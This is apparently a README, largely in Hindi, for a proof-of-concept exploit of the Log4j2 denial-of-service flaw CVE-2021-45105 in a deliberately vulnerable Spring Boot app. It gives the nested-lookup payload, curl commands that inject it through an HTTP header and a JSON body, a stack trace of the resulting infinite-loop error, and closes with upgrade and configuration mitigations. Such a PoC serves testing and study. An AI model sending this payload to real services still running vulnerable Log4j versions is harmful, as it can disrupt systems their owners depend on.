
CVE-2021-45105 (Log4j2 DOS) के लिए PoC एक्सप्लॉइट, Spring Boot वेब ऐप के साथ, विशेष रूप से तैयार किए गए HTTP हेडर/बॉडी पेलोड के माध्यम से अनंत लूप का प्रदर्शन करता है।
${${::-${::-$${::-$}}}}
यह एप्लिकेशन Spring Boot वेब एप्लिकेशन पर आधारित है जो CVE-2021-45105 के प्रति संवेदनशील है।
यह Log4j 2.16.0 का उपयोग करता है।

इसे चलाएँ:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Java 8 (या बाद के) उपयोगकर्ताओं को रिलीज़ 2.17.0 में अपग्रेड करना चाहिए।
वैकल्पिक रूप से, इसे कॉन्फ़िगरेशन में कम किया जा सकता है:
लॉगिंग कॉन्फ़िगरेशन में PatternLayout में, ${ctx:loginId} या $${ctx:loginId} जैसे Context Lookups को Thread Context Map पैटर्न (%X, %mdc, या %MDC) से बदलें। अन्यथा, कॉन्फ़िगरेशन में, ${ctx:loginId} या $${ctx:loginId} जैसे Context Lookups के संदर्भ हटा दें, जहाँ वे एप्लिकेशन के बाहरी स्रोतों जैसे HTTP हेडर या उपयोगकर्ता इनपुट से उत्पन्न होते हैं।